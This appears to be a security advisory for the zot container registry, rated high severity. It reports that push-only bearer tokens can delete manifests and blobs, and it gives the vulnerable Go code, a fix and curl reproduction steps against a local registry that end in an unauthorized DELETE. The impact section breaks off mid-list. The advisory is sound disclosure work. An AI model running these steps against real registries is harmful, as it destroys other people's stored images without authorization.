A bearer token with only pull and push scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the "push" action, and the DistSpecAuthzHandler middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the Docker Distribution Token Authentication Specification.
The vulnerability exists in two interacting components:
1. Action Mapping Collapse (pkg/api/authn.go:571–586)
The bearer authentication handler maps HTTP methods to token scope actions using a binary check:
action := "pull"
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
action = "push"
}
This collapses DELETE, PUT, PATCH, and POST into a single "push" action. The "delete" action is never assigned.
2. Authorization Bypass for Bearer Auth (pkg/api/authz.go:270–275, 318–323)
When a request is authenticated via bearer token, the DistSpecAuthzHandler middleware, which performs fine-grained action inference (distinguishing create, read, update, and delete) is bypassed entirely:
if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) {
next.ServeHTTP(response, request)
return
}
3. No Handler-Level Authorization Check
Neither DeleteManifest (routes.go:799–884) nor DeleteBlob (routes.go:1192–1241) performs an independent authorization check for delete permission before executing the deletion.
Deviation from Specification and Reference Implementation
The [Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/) defines delete as a distinct action separate from push. The reference implementation ([distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the "delete" action:
case http.MethodDelete:
records = append(records,
auth.Access{
Resource: resource,
Action: "delete",
})
Furthermore, zot's own native access-control configuration explicitly distinguishes delete as a separate permission from create and update, confirming the project's intent that delete is a distinct authorization action.
Suggested Fix
In pkg/api/authn.go, the action mapping should distinguish DELETE:
action := "pull"
switch {
case m == http.MethodGet || m == http.MethodHead:
action = "pull"
case m == http.MethodDelete:
action = "delete"
default:
action = "push"
}
The DistSpecAuthzHandler bypass for bearer-authenticated requests (authz.go:270–275) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks.
Prerequisites: zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with actions: ["pull", "push"] (no "delete").
Steps to Reproduce:
repository:poc-test:pull,push (no delete)curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/octet-stream" \
-X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
-d '{}'
# → 201 Created
v1.0 (succeeds token has push):curl -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
-X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
-d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
# → 201 Created
curl -H "Authorization: Bearer $TOKEN" \
-X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 202 Accepted (VULNERABLE)
curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
"http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
# → 404 Not Found
Expected behavior: Step 5 should return 401 Unauthorized with a WWW-Authenticate header requesting scope="repository:poc-test:delete".
Actual behavior: Step 5 returns 202 Accepted and the manifest is permanently deleted.
A complete reproducer (minimal Go token server + zot config + automated script) is available upon request.
Privilege Escalation / Unauthorized Deletion Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions.
This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to:
{
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-18T17:15:19Z",
"nvd_published_at": null,
"severity": "HIGH"
}